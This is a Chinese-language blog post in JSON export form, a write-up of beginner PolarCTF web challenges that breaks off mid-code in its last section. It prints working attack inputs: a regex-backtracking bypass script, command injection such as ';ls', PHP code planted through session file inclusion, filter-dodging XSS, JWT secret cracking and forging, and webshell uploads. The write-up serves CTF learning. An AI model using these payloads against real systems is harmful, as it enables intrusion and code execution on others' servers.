{"id":50,"date":"2025-01-04T17:11:40","date_gmt":"2025-01-04T09:11:40","guid":{"rendered":"https:\/\/1nksy.cn\/?p=50"},"modified":"2026-01-16T21:25:49","modified_gmt":"2026-01-16T13:25:49","slug":"polarctf-web-%e7%ae%80%e5%8d%95%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"https:\/\/1nksy.cn\/index.php\/2025\/01\/04\/polarctf-web-%e7%ae%80%e5%8d%95%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/","title":{"rendered":"polarCTF-web-\u7b80\u5355\u505a\u9898\u8bb0\u5f55"},"content":{"rendered":"\n

swp<\/h2>\n\n\n\n

\u6253\u5f00\u63d0\u793atrue.swp file?<\/p>\n\n\n\n

\u8bbf\u95ee\/.index.php.swp<\/p>\n\n\n\n

\u51fa\u73b0\u9875\u9762<\/p>\n\n\n\n

\"image-20241229212645586\"\/<\/div><\/figure>\n\n\n\n

\u9700\u8981\u7528POST\u63d0\u4ea4\u4e00\u4e2axdmtql\u7684 \u53c2\u6570\uff0c\u5e76\u4e14\u9700\u8981\u7ed5\u8fc7preg_match<\/p>\n\n\n\n

\u4f7f\u7528\u56de\u6eaf\u7ed5\u8fc7,preg_match\u7684\u68c0\u6d4b\u6b21\u6570\u6709\u4e0a\u9650\uff0c\u5229\u7528\u811a\u672c\u4f7f\u5176\u8fdb\u884c\u5f88\u591a\u6b21\u68c0\u6d4b\uff0c\u5bfc\u81f4\u5176\u68c0\u6d4b\u8fbe\u4e0a\u9650\uff0c\u5931\u6548<\/p>\n\n\n\n

python\u811a\u672c<\/p>\n\n\n\n

import requests
url='http:\/\/9c364219-66fd-482f-b7e7-83f8f12bcc9e.www.polarctf.com:8090\/'
data = {\"xdmtql\": \"sys nb\" + \"a\" * 1000000}
res = requests.post(url, data=data)
print(res.content)<\/pre>\n\n\n\n
\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241229213804365\"\/<\/div><\/figure>\n\n\n\n
\u7b80\u5355rce<\/h2>\n\n\n\n
\"image-20241229215112989\"\/<\/div><\/figure>\n\n\n\n
\u5b9a\u4e49\u4e86\u4e00\u4e2ano\u51fd\u6570\uff0c\u8fc7\u6ee4\u4e86\u4e00\u5806\u547d\u4ee4\u6267\u884c\u547d\u4ee4\u548c\u51fd\u6570<\/p>\n\n\n\n
\u8981\u6c42sys\u5b58\u5728\uff0c\u4e14yyds=666\uff0c\u7136\u540eeval\u6267\u884c\u7ecf\u8fc7no\u51fd\u6570\u8fc7\u6ee4\u7684sys<\/p>\n\n\n\n
\u4f7f\u7528sort\u547d\u4ee4\u548cpassthru\u51fd\u6570\uff0c\u5e76\u7528%09\u4ee3\u66ff\u7a7a\u683c<\/p>\n\n\n\n
\"image-20241229215934430\"\/<\/div><\/figure>\n\n\n\n
\u83b7\u5f97\u4e00\u4e2aflag\u6587\u4ef6\uff0c\u4f7f\u7528sort\u67e5\u8be2flag\u6587\u4ef6<\/p>\n\n\n\n
\"image-20241229220032794\"\/<\/div><\/figure>\n\n\n\n
\u871c\u96ea\u51b0\u57ce\u5409\u8b66\u5e97<\/h2>\n\n\n\n
\"image-20241229214210557\"\/<\/div><\/figure>\n\n\n\n
\u63d0\u793a\uff1a\u70b9\u5230\u7b2c9\u4e2a\u9690\u85cf\u6b3e\u5976\u8336\u7684\u5355\u5b50\uff0c\u5c31\u4f1a\u7ed9\u4f60flag<\/p>\n\n\n\n
\u5728\u9875\u9762\u4e0a\u5e76\u6ca1\u6709\u7b2c9\u4e2a\u5976\u8336<\/p>\n\n\n\n
\u67e5\u770b\u524d\u7aef\u4ee3\u7801<\/p>\n\n\n\n
\"image-20241229214438151\"\/<\/div><\/figure>\n\n\n\n
\u5e76\u6ca1\u67099\uff0c\u628a\u5176\u4e2d\u4e00\u4e2aid\u6539\u4e3a9<\/p>\n\n\n\n
\u5728\u706b\u72d0\u4e0a\u4fee\u6539\u540e\u53d1\u73b0\u70b9\u51fb\u540e\u6ca1\u6709\u4efb\u4f55\u53cd\u5e94\uff0c\u6362\u6210edge\uff0c\u4fee\u6539\u540e\u70b9\u51fb\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241229215027125\"\/<\/div><\/figure>\n\n\n\n
\u53ec\u5524\u795e\u9f99<\/h2>\n\n\n\n
\u67e5\u770b\u524d\u7aef\u6709\u6ca1\u6709\u7c7b\u4f3c\u6539\u5206\u6570\u7684\uff0c\u6216\u8005\u80fd\u8f93\u51faflag\u7684\u6761\u4ef6\uff0c\u53d1\u73b0\u5565\u4e5f\u6ca1\u6709<\/p>\n\n\n\n
\u5173\u95ed\u540e\u70b9F12\u5c31\u6253\u4e0d\u5f00\u5f00\u53d1\u8005\u5de5\u5177\u4e86\uff0c\u540e\u9762\u5728\u66f4\u591a\u5de5\u5177\u7684web\u5f00\u53d1\u8005\u5de5\u5177\u4e2d\u6253\u5f00<\/p>\n\n\n\n
\u540e\u9762\u5728\u8c03\u8bd5\u5668\u7684main.js\u4e2d\u770b\u5230\u4e86 \u4e00\u6bb5\u4e1c\u897f<\/p>\n\n\n\n
\"image-20241229222221345\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u80fd\u5728\u4e00\u6bb5\u662f\u4ec0\u4e48\u52a0\u5bc6\uff0c\u8be2\u95eeai\u8bf4\u662f\u4e00\u79cdjs\u52a0\u5bc6\u65b9\u5f0f\uff0c\u6700\u540e\u901a\u8fc7jsfuck\u89e3\u5bc6\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241229222455078\"\/<\/div><\/figure>\n\n\n\n
seek flag<\/h2>\n\n\n\n
\"image-20241229225928153\"\/<\/div><\/figure>\n\n\n\n
\u67e5\u770b\u6e90\u7801\uff0c\u53d1\u73b0\u6709\u63d0\u793a<\/p>\n\n\n\n
\"image-20241229225954677\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95eerobots.txt<\/p>\n\n\n\n
\"image-20241229230023388\"\/<\/div><\/figure>\n\n\n\n
\u83b7\u5f97\u7b2c\u4e09\u90e8\u5206flag\uff1ac0ad71dadd11}<\/p>\n\n\n\n
\u6293\u5305\u770b\u770b\uff0c\u80fd\u4e0d\u80fd\u83b7\u5f97\u5176\u4ed6\u90e8\u5206flag<\/p>\n\n\n\n
\u53d1\u73b0cookie\u4e2d\u6709\u4e2aid=0\uff0c\u53d1\u9001\u5230\u91cd\u653e\u5668\uff0c\u5c1d\u8bd5\u628aid\u6539\u4e3a1<\/p>\n\n\n\n
\u628aid\u4fee\u6539\u4e3a1\uff0c\u83b7\u5f97\u7b2c\u4e00\u90e8\u5206flag<\/p>\n\n\n\n
\"image-20241229230806940\"\/<\/div><\/figure>\n\n\n\n
\u7b2c\u4e00\u90e8\u5206\uff1aflag{7ac5b<\/p>\n\n\n\n
\u7ee7\u7eed\u8bd5\u7740\u628aid\u4fee\u6539\u4e3a2\uff0c\u83b7\u5f97\u7b2c\u4e8c\u90e8\u5206flag\uff1a3ca8737a70f029d<\/p>\n\n\n\n
\"image-20241230014050640\"\/<\/div><\/figure>\n\n\n\n
jwt<\/h2>\n\n\n\n
\u6253\u5f00\u73af\u5883\uff0c\u662f\u4e00\u4e2a\u9700\u8981\u5bc6\u7801\u548c\u8d26\u6237\u7684\u767b\u5f55\u6846\uff0c\u5728\u6ce8\u518c\u91cc\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\uff0c\u767b\u5f55\u8fdb\u53bb\uff0c\u53d1\u73b0\u8fd8\u662f\u5565\u4e5f\u6ca1\u6709\uff0c\u6293\u5305\uff0c\u53d1\u73b0\u5728cookie\u53d1\u73b0\u6709session\u548cjwt<\/p>\n\n\n\n
\"image-20241230141457528\"\/<\/div><\/figure>\n\n\n\n
\u5728jwt.io\u5bf9jw\u8fdb\u884c\u89e3\u7801\uff0c\u4f46\u5374\u53d1\u73b0\u7f3a\u5c11secret\u503c<\/p>\n\n\n\n
\"image-20241230143744121\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528c-jwt-cracker\u83b7\u53d6\u5bc6\u94a5\u503c<\/p>\n\n\n\n
\u7206\u7834\u51fa\u5bc6\u94a5\u503c\u4e3aSYSA\uff0c\u4fee\u6539jwt\uff0c\u5e76\u4e14\u6839\u636e\u63d0\u793aflag-is-admins-password\uff0c\u628ausername\u6539\u4e3aadmin<\/p>\n\n\n\n
\"image-20241230170215259\"\/<\/div><\/figure>\n\n\n\n
\u4fee\u6539\u6293\u5305\u540e\u7684jwt\uff0c\u53d1\u9001\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230170202852\"\/<\/div><\/figure>\n\n\n\n
iphone<\/h2>\n\n\n\n
\u6253\u5f00\u6e90\u7801\uff0c\u53d1\u73b0\u63d0\u793a<\/p>\n\n\n\n
\"image-20241230170738696\"\/<\/div><\/figure>\n\n\n\n
\u5e94\u8be5\u662f\u4fee\u6539UA\uff0c\u70b9\u51fb\u4e00\u5f00\u59cb\u7684\u6309\u94ae\uff0c\u63d0\u793a\u53ea\u80fdiphone\u548cipad\u80fd\u770b<\/p>\n\n\n\n
\u5c1d\u8bd5\u628aUA\u4fee\u6539\u4e3aiphone\uff0c\u679c\u7136\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230170907799\"\/<\/div><\/figure>\n\n\n\n
\u6d6e\u751f\u65e5\u8bb0<\/h2>\n\n\n\n
\"image-20241230171412759\"\/<\/div><\/figure>\n\n\n\n
\u6253\u5f00\u662f\u4e00\u4e2a\u53ef\u4ee5\u4e0a\u4f20\u5185\u5bb9\u7684\u6846\uff0c\u5e94\u8be5\u662fXSS\u6216\u8005ssti<\/p>\n\n\n\n
\u8f93\u5165{{7*7}}\uff0c\u5e76\u6ca1\u67091\u56de\u663e49<\/p>\n\n\n\n
\"image-20241230171528243\"\/<\/div><\/figure>\n\n\n\n
\u5728\u8bd5\u8bd5\u662f\u4e0d\u662fxss\uff0c\u8f93\u5165<script>alert(1)<\/scrpit>\uff0c\u53d1\u73b0\u51fa\u9519\u4e86\uff0c\u53d1\u73b0\u8fc7\u6ee4\u4e86script,<\/p>\n\n\n\n
\"image-20241230172853186\"\/<\/div><\/figure>\n\n\n\n
\u95ed\u5408\u524d\u9762\u7684\u5185\u5bb9\uff0c\u5e76\u53cc\u5199script\u8bd5\u8bd5<\/p>\n\n\n\n
“><scrscriptipt>alert(1)<\/scrscriptipt><\/p>\n\n\n\n
\u51fa\u73b0\u5f39\u7a97\uff0c\u70b9\u51fb\u786e\u8ba4\uff0c\u76f4\u63a5\u83b7\u5f97\u4e86flag<\/p>\n\n\n\n
$$<\/h2>\n\n\n\n
\"image-20241230173203366\"\/<\/div><\/figure>\n\n\n\n
\u8fc7\u6ee4\u4e86\u4e00\u5927\u5806\u4e1c\u897f\uff0c\u6ca1\u60f3\u5230\u600e\u4e48\u7ed5\u8fc7\uff0c\u67e5\u770bwp\uff0c\u8bf4\u662f\u76f4\u63a5c=GLOBALS\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230174403781\"\/<\/div><\/figure>\n\n\n\n
$GLOBALS\uff1a\u5f15\u7528\u5168\u5c40\u4f5c\u7528\u57df\u4e2d\u53ef\u7528\u7684\u5168\u90e8\u53d8\u91cf\uff08\u4e00\u4e2a\u5305\u542b\u4e86\u5168\u90e8\u53d8\u91cf\u7684\u5168\u5c40\u7ec4\u5408\u6570\u7ec4\u3002\u53d8\u91cf\u7684\u540d\u5b57\u5c31\u662f\u6570\u7ec4\u7684\u952e\uff09\uff0c\u4e0e\u6240\u6709\u5176\u4ed6\u8d85\u5168\u5c40\u53d8\u91cf\u4e0d\u540c\uff0c$GLOBALS\u5728PHP\u4ee3\u7801\u4e2d\u4efb\u4f55\u5730\u65b9\u603b\u662f\u53ef\u7528\u7684<\/p>\n\n\n\n
\u7206\u7834<\/h2>\n\n\n\n
\"image-20241230174921019\"\/<\/div><\/figure>\n\n\n\n
\u8981\u6ee1\u8db3pass\u7684md5\u7684\u7b2c\u4e8c\u4f4d\u7b49\u4e8e\u7b2c15\u4f4d\uff0c\u7b2c15\u4f4d\u7b49\u4e8e\u7b2c18\u4f4d\uff0c\u7b2c\u4e8c\u4f4d\u52a0\u7b2c15\u4f4d\u52a0\u7b2c18\u4f4d\u7684\u548c\u9664\u7b2c\u4e8c\u4f4d\u7b49\u4e8e\u7b2c32\u4f4d\uff0c\u76f4\u63a5\u6293\u5305\u7206\u7834<\/p>\n\n\n\n
\"image-20241230175610810\"\/<\/div><\/figure>\n\n\n\n
\"image-20241230175620723\"\/<\/div><\/figure>\n\n\n\n
\u627e\u5230\u957f\u5ea6\u5f02\u5e38\u7684\u7ec4\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230175952278\"\/<\/div><\/figure>\n\n\n\n
login<\/h2>\n\n\n\n
\u67e5\u770b\u6e90\u7801\uff0c\u83b7\u5f97\u63d0\u793a\uff0c\u5e94\u8be5\u662f\u8d26\u53f7\u548c\u5bc6\u7801<\/p>\n\n\n\n
\"image-20241230020611509\"\/<\/div><\/figure>\n\n\n\n
\u8f93\u5165\u540e\u663e\u793a\u767b\u5f55\u6210\u529f<\/p>\n\n\n\n
\u5c1d\u8bd520200102\uff0c\u56de\u663ef\uff1b\u7ee7\u7eed\u8bd520200103\uff0c\u663e\u793al\uff0c\u611f\u89c9\u5e94\u8be5\u7ee7\u7eed\u5f80\u4e0b\u5c31\u662fflag<\/p>\n\n\n\n
\u6700\u540e\u8bd5\u51fa\u6765flag\u4e3aflag{dlcg}<\/p>\n\n\n\n
\u7b7e\u5230<\/h2>\n\n\n\n
\u6253\u5f00\u9875\u9762\u67e5\u8be2\u4e86\u4e00\u4e2a\u63d0\u4ea4\u5185\u5bb9\u7684\u6846\uff0c\u4f46\u63d0\u4ea4\u7684\u6309\u94ae\u5374\u70b9\u4e0d\u52a8\uff0c\u5e94\u8be5\u4fee\u6539js\u5c31\u884c<\/p>\n\n\n\n
\u67e5\u770b\u524d\u7aef\uff0c\u679c\u7136\u6709disabled<\/p>\n\n\n\n
\"image-20241229222839929\"\/<\/div><\/figure>\n\n\n\n
\u5220\u6389disabled\uff0c\u968f\u4fbf\u4f20\u4e00\u4e2a\u4e1c\u897f<\/p>\n\n\n\n
\"image-20241229222904108\"\/<\/div><\/figure>\n\n\n\n
\u63d0\u793a\u4e0a\u4f20ilovejljcxy\u5c31\u80fd\u83b7\u5f97flag<\/p>\n\n\n\n
\u590d\u5236\u4e0a\u53bb\uff0c\u63d0\u4ea4\u540e\u8fd8\u662f\u5f39\u7a97\u4e4b\u524d\u7684\uff0c\u7ed3\u679c\u53d1\u73b0\uff0c\u4ed6\u5bf9\u957f\u5ea6\u8fd8\u6709\u9650\u5236\uff0c\u5e94\u8be5\u8fd8\u662f\u4fee\u6539js<\/p>\n\n\n\n
\u679c\u7136\u5728js\u5c06\u957f\u5ea6\u9650\u5236\u4e3a9\uff0c\u4fee\u6539\u540e\u4e0a\u4f20\u5185\u5bb9<\/p>\n\n\n\n
\"image-20241229223253795\"\/<\/div><\/figure>\n\n\n\n
\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241229223314923\"\/<\/div><\/figure>\n\n\n\n
rce1<\/h2>\n\n\n\n
\"image-20241230222552807\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528\uff1b\u62fc\u63a5\u547d\u4ee4\uff0c127.0.0.1\uff1bls<\/p>\n\n\n\n
\"image-20241230223355494\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u4e00\u4e2afllllaaag.php\u6587\u4ef6\uff0c\u4f7f\u7528tac\u67e5\u8be2\u6587\u4ef6\uff0c\u5e76\u7528%09\u4ee3\u66ff\u7a7a\u683c<\/p>\n\n\n\n
\u76f4\u63a5cat\u67e5\u770bfllllaaag.php<\/p>\n\n\n\n
XFF<\/h2>\n\n\n\n
\"image-20241230015110908\"\/<\/div><\/figure>\n\n\n\n
\u6839\u636e\u63d0\u793a\uff0c\u5e94\u8be5\u662f\u5229\u7528xff\u4f2a\u9020ip<\/p>\n\n\n\n
\u76f4\u63a5\u6293\u5305\u52a0\u4e0a\uff1aX-Forwarded-For: 1.1.1.1\u6216\u8005\u4f7f\u7528hackbar\u52a0\u4e0a\u8fd9\u4e2a\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230015701949\"\/<\/div><\/figure>\n\n\n\n
GET-POST<\/h2>\n\n\n\n
\"image-20241229223718535\"\/<\/div><\/figure>\n\n\n\n
\u6309\u8981\u6c42\u4e0a\u4f20\u53c2\u6570\uff0c\u76f4\u63a5\u5c31\u83b7\u5f97flag\u4e86<\/p>\n\n\n\n
\"image-20241229223828667\"\/<\/div><\/figure>\n\n\n\n
\u88ab\u9ed1\u6389\u7684\u7ad9<\/h2>\n\n\n\n
\u8bf4\u7ad9\u91cc\u7684\u6728\u9a6c\u8fd8\u662f\u5f88\u591a\uff0c\u4f7f\u7528dirsearch\u626b\u63cf\uff0c\u53d1\u73b0\uff1b\u6709shell.php\u548c\/index.php.bak<\/p>\n\n\n\n
\"image-20241230221724736\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95eeshell.php\uff0c\u51fa\u73b0\u4e00\u4e2a\u63d0\u4ea4\u6846<\/p>\n\n\n\n
\"image-20241230221814420\"\/<\/div><\/figure>\n\n\n\n
\u7ee7\u7eed\u8bbf\u95ee\/index.php.bak\uff0c\u53d1\u73b0\u4e00\u4e2a\u5b57\u5178\uff0c\u5e94\u8be5\u6709\u4e00\u4e2a\u4e3a\u90a3\u4e2a\u767b\u5f55\u6846\u7684\u5bc6\u7801\uff0c\u4f7f\u7528burp\u7206\u7834\uff0c\u53d1\u73b0\u4e3anikel\u65f6\u83b7\u5f97flag<\/p>\n\n\n\n
\u7b7e\u5230\u9898<\/h2>\n\n\n\n
\"image-20241229224622402\"\/<\/div><\/figure>\n\n\n\n
\u67e5\u770b\u6e90\u7801\uff0c\u4ec0\u4e48\u90fd\u6ca1\u6709<\/p>\n\n\n\n
\u6293\u5305\u8bd5\u8bd5<\/p>\n\n\n\n
\"image-20241229224744269\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0cookie\u4e2d\u6709\u4e2adidi=no<\/p>\n\n\n\n
\u653e\u5230\u91cd\u653e\u5668\uff0c\u5c1d\u8bd5\u628adidi\u6539\u4e3ayes<\/p>\n\n\n\n
\"image-20241229224856142\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u5176\u4e2d\u6709\u4e00\u6bb5\uff1aLi9kYXRhL2luZGV4LnBocA\uff0c\u89e3\u7801\u8bd5\u8bd5<\/p>\n\n\n\n
base64\u89e3\u7801\u51fa\u4e86.\/data\/index.php<\/p>\n\n\n\n
\"image-20241229224957502\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95ee.\/data\/index.php<\/p>\n\n\n\n
\"image-20241229225034225\"\/<\/div><\/figure>\n\n\n\n
\u5e94\u8be5\u9700\u8981\u6587\u4ef6\u5305\u542b\uff0c\u8fc7\u6ee4\u4e86..\/\uff0c\u5e94\u8be5\u8fd8\u9700\u8981\u8fdb\u5165\u4e0a\u4e00\u7ea7\u76ee\u5f55\uff0c\u53ef\u4ee5\u4f7f\u7528\u53cc\u5199\u7ed5\u8fc7..\/\uff0c\u5e76\u4f7f\u7528\u4f2a\u534f\u8bae\u8bfb\u53d6<\/p>\n\n\n\n
\"image-20241229225628805\"\/<\/div><\/figure>\n\n\n\n
\u5c06PD9waHANCiAgICAkZmxhZyA9ICJmbGFnezkyZWI1ZmZlZTZhZTJmZWMzYWQ3MWM3Nzc1MzE1NzhmfSI7DQo\/Pg==base64\u89e3\u7801\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241229225739361\"\/<\/div><\/figure>\n\n\n\n
session\u6587\u4ef6\u5305\u542b<\/h2>\n\n\n\n
\u968f\u4fbf\u4f20\u5165\u4e00\u4e2a\u4e1c\u897f\uff0c\u8fdb\u5165\u4e86\u4e00\u4e2a\u65b0\u9875\u9762\uff0c\u67e5\u770b\u6e90\u7801<\/p>\n\n\n\n
\"image-20241231160749067\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u53ef\u4ee5\u7528file\u53c2\u6570\u8bfb\u6587\u4ef6\uff0c\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<\/p>\n\n\n\n
\u5c1d\u8bd5\u4f7f\u7528filter\u4f2a\u534f\u8bae\u8bfb\u53d6\u6587\u4ef6\uff0c\u4f46\u8fde\u63a5\u91cd\u7f6e\u4e86<\/p>\n\n\n\n
\u4f46\u5374\u5728cookie\u5904\u53d1\u73b0\u4e86phpsessionid\uff0c\u5e94\u8be5\u53ef\u4ee5\u4f7f\u7528session\u6587\u4ef6\u5305\u542bsession\u6587\u4ef6\u5e94\u8be5\u5c31\u4e3asess_0he69bukahmfeo3q8d9gl2rlr5<\/p>\n\n\n\n
\"image-20241231162745306\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95ee\u50a8\u5b58session\u6587\u4ef6\u7684\u8def\u5f84\/tmp\/sess_0he69bukahmfeo3q8d9gl2rlr5\uff0c\u5229\u7528name\u8fdb\u884c\u6587\u4ef6\u8bfb\u53d6<?php system(‘ls’);?><\/p>\n\n\n\n
\"image-20250102195503786\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528tac\u8bfb\u53d6flaggggg\u6587\u4ef6 \uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250102195643896\"\/<\/div><\/figure>\n\n\n\n
Don’t touch me<\/h2>\n\n\n\n
\u67e5\u770b\u6e90\u7801\uff0c\u83b7\u5f97\u63d0\u793a<\/p>\n\n\n\n
\"image-20241230014519486\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95ee.\/2.php<\/p>\n\n\n\n
\"image-20241230014628988\"\/<\/div><\/figure>\n\n\n\n
\u51fa\u73b0\u4e86\u4e00\u4e2a\u65e0\u6cd5\u70b9\u51fb\u7684\u6309\u94ae\uff0c\u67e5\u770b\u6e90\u7801\uff0c<\/p>\n\n\n\n
\"image-20241230014749748\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u5220\u6389disabled\uff0c\u4f7f\u6309\u94ae\u53ef\u4ee5\u76f4\u63a5\u70b9\u51fb\uff0c\u6216\u8005\u76f4\u63a5\u8bbf\u95ee\/3.php\uff0c\u70b9\u51fb\u540e\u5c31\u662f\u8df3\u8f6c\u81f3\/3.php<\/p>\n\n\n\n
\u67e5\u770b\u6e90\u7801<\/p>\n\n\n\n
\"image-20241230014934173\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95eefla.php\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230015006916\"\/<\/div><\/figure>\n\n\n\n
robots<\/h2>\n\n\n\n
\u63d0\u793a\uff1a\u673a\u5668\u4eba.txt\uff0c\u8bbf\u95eerobots.txt,<\/p>\n\n\n\n
\"image-20241229223516430\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95ee\/fl0g.php\uff0c\u76f4\u63a5\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241229223553870\"\/<\/div><\/figure>\n\n\n\n
php very nice<\/h2>\n\n\n\n
\"image-20241230215132483\"\/<\/div><\/figure>\n\n\n\n
\u76f4\u63a5\u4fee\u6539sys\u5185\u5bb9\uff0c\u6784\u9020poc<\/p>\n\n\n\n
\"image-20241230215310384\"\/<\/div><\/figure>\n\n\n\n
\u4f20\u5165<\/p>\n\n\n\n
\"image-20241230215326863\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u6709flag.php\u6587\u4ef6\uff0c\u67e5\u8be2\u8be5\u6587\u4ef6\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230215512922\"\/<\/div><\/figure>\n\n\n\n
ezupload<\/h2>\n\n\n\n
\u4e0a\u4f20\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u63d0\u793a\uff1aSorry, we only allow uploading GIF images\uff0c\u6293\u5305\u5c06mime type\u6539\u4e3aimage\/gif\uff0c\u7136\u540e\u653e\u5305\uff0c\u663e\u793a\u8fde\u63a5\u6210\u529f\uff0c\u4f7f\u7528\u8681\u5251\u8fde\u63a5,\u83b7\u5f97flag<\/p>\n\n\n\n
cookie\u6b3a\u9a97<\/h2>\n\n\n\n
\"image-20241230180756863\"\/<\/div><\/figure>\n\n\n\n
\u63d0\u793a\u53ea\u7528\u666e\u901a\u7528\u6237\u624d\u80fd\u83b7\u5f97flag<\/p>\n\n\n\n
\u6293\u5305\uff0c\u53d1\u73b0cookie\u5904\u6709\u4e2auser=user<\/p>\n\n\n\n
\"image-20241230181008260\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u9001\u5230\u91cd\u653e\u5668\uff0c\u628auser\u503c\u6539\u4e3aadmin\uff0c\u53d1\u9001\u540e\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230181048068\"\/<\/div><\/figure>\n\n\n\n
upload<\/h2>\n\n\n\n
\u67e5\u770b\u6e90\u7801\u53d1\u73b0\u6709\u63d0\u793a<\/p>\n\n\n\n
\"image-20241231155721552\"\/<\/div><\/figure>\n\n\n\n
\/?action=show_code<\/p>\n\n\n\n
\u53d1\u73b0\u6e90\u7801<\/p>\n\n\n\n
\"image-20241231155829628\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528str_ireplace\u51fd\u6570\u8fdb\u884c\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u53cc\u5199php\u8fdb\u884c\u7ed5\u8fc7<\/p>\n\n\n\n
\u6293\u5305\uff0c\u6539\u4e3a\u53cc\u5199php\uff0c\u653e\u5305<\/p>\n\n\n\n
\u4f7f\u7528\u8681\u5251\u8fde\u63a5\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250102200227657\"\/<\/div><\/figure>\n\n\n\n
\u5e72\u6b63\u5219<\/h2>\n\n\n\n
\"image-20250102203429672\"\/<\/div><\/figure>\n\n\n\n
\u8981\u8ba9a[0]\u7684\u503c\u7b49\u4e8ewww.polarctf.com<\/a>\uff0c\u53ef\u4ee5\u5229\u7528parse_str($id)\u51fd\u6570\uff0c\u901a\u8fc7id\u6765\u8986\u76d6\u4e4b\u524d\u7684a\u53d8\u91cf\uff0c\u518d\u7528\u901a\u914d\u7b26\u7ed5\u8fc7\u6b63\u5219\u5339\u914d<\/p>\n\n\n\n
playload\uff1aid=a[0]=www.polarctf.com&cmd=<\/a>;ls<\/p>\n\n\n\n
\"image-20250103144024445\"\/<\/div><\/figure>\n\n\n\n
cat\u67e5\u8be2flag\u6587\u4ef6\uff0c\u67e5\u770b\u6e90\u7801\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103144357516\"\/<\/div><\/figure>\n\n\n\n
\"image-20250103144404648\"\/<\/div><\/figure>\n\n\n\n
parse_str()\u53d8\u91cf\u8986\u76d6<\/h3>\n\n\n\n
parse_str(string,array)<\/p>\n\n\n\n
string\uff1a\u89c4\u5b9a\u8981\u89e3\u6790\u7684\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n
array\uff1a\u89c4\u5b9a\u5b58\u50a8\u53d8\u91cf\u7684\u6570\u7ec4\u7684\u540d\u79f0\uff0c\u8be5\u53c2\u6570\u6307\u793a\u53d8\u91cf\u5c06\u88ab\u5b58\u50a8\u5230\u6570\u7ec4\u4e2d\u3002<\/p>\n\n\n\n
\u51fd\u6570\u628a\u67e5\u8be2\u5b57\u7b26\u4e32\u89e3\u6790\u5230\u53d8\u91cf\u4e2d\u3002\u5982\u679c\u672a\u8bbe\u7f6e array \u53c2\u6570\uff0c\u7531\u8be5\u51fd\u6570\u8bbe\u7f6e\u7684\u53d8\u91cf\u5c06\u8986\u76d6\u5df2\u5b58\u5728\u7684\u540c\u540d\u53d8\u91cf\u3002<\/p>\n\n\n\n
cool<\/h2>\n\n\n\n
\"image-20241230181210752\"\/<\/div><\/figure>\n\n\n\n
\u7b2c\u4e00\u4e2a\u68c0\u67e5a\u662f\u5426\u4e3a\u6570\u5b57\uff0c\u5982\u679c\u662f\u6570\u5b57\u5219\u8f93\u51fano\uff0c\u7b2c\u4e8c\u8fc7\u6ee4\u4e86flag\uff0cphp\uff0csysytem\uff0c\u7136\u540e\u653e\u5728eval\u51fd\u6570\u91cc\u6267\u884c\uff0c\u770b\u4ed6\u8fc7\u6ee4\u4e86\u8fd9\u4e9b\uff0cflag\u5e94\u8be5\u5728flag.php\u91cc\uff0c\u4f7f\u7528*\u901a\u914d\u7b26\u4ee3\u66ff\uff0c\u4f7f\u7528passthru\u4ee3\u66ffsystem\uff0c\u4e0a\u4f20\u540e\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230181659121\"\/<\/div><\/figure>\n\n\n\n
uploader<\/h2>\n\n\n\n
\"image-20250103144834839\"\/<\/div><\/figure>\n\n\n\n
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);\/\/\u5229\u7528\u5ba2\u6237\u7aef\u7684 IP \u5730\u5740\u751f\u6210\u4e00\u4e2a MD5 \u54c8\u5e0c\u503c\uff0c\u4ee5\u6b64\u4f5c\u4e3a\u6587\u4ef6\u5939\u540d\u79f0\uff0c\u786e\u4fdd\u6bcf\u4e2a IP \u5730\u5740\u90fd\u6709\u81ea\u5df1\u72ec\u7acb\u7684\u76ee\u5f55\u3002
if(!is_dir($sandBox)){
    mkdir($sandBox,0755,true);
